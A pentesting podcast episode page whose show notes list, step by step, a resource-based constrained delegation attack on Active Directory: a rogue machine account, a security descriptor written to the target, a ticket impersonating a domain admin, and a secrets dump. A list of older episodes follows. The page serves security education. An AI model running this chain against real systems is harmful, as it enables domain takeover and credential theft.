7MS #521: Tales of Pentest Pwnage - Part 36

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Episoder(691)

7MS #114: PCI Pentesting 101-Part 3

7MS #114: PCI Pentesting 101-Part 3

Part 3 on my series about PCI pentesting. Yeah. That.

2 Des 20157min

7MS #113: Big Bag of Random Security Stuff

7MS #113: Big Bag of Random Security Stuff

Yep, this episode is EXACTLY what the title implies.

27 Nov 201510min

7MS #112: This is Sparta!

7MS #112: This is Sparta!

This episode is about one of my favorite enumeration tools called Sparta - it's built right into Kali 2. And maybe it was in Kali 1 and I totally missed it. But whatevs. I'm happy to have found it now!

25 Nov 20158min

7MS #111: Hacking WPA Enterprise-Part 2

7MS #111: Hacking WPA Enterprise-Part 2

The thrilling (?) conclusion of my experience hacking WPA Enterprise.

20 Nov 20156min

7MS #110: Hacking WPA Enterprise-Part 1

7MS #110: Hacking WPA Enterprise-Part 1

This episode is about my experience hacking WPA enterprise. Huge mega tiger uppercut thanks to this site for giving me the fixes I needed to get this working on Kali2! https://warroom.securestate.com/index.php/evil-twin-attack-using-hostapd-wpe/

17 Nov 20158min

7MS #109: OFFTOPIC-It Follows and Backcountry

7MS #109: OFFTOPIC-It Follows and Backcountry

Movie reviews of It Follows and Backcountry.

13 Nov 20157min

7MS #108: I'm Going to PWAPT!-Part 2

7MS #108: I'm Going to PWAPT!-Part 2

Here's part 2 (of probably several to come) about my experience with PWAPT (Practical Webapp Pentesting) training last week!

11 Nov 201510min

7MS #107: I'm Going to PWAPT!

7MS #107: I'm Going to PWAPT!

Hey I'm going to PWAPT this week (http://www.eventbrite.com/e/practical-web-application-penetration-testing-with-tim-tomes-lanmaster53-tickets-16718889649), so in this episode I talk about that...and how I'll probably be too info-overloaded to record anything on Thursday :-). Oh, and I had a fun Web app pentest this week that I wanted to share some fun bits on.

3 Nov 20157min

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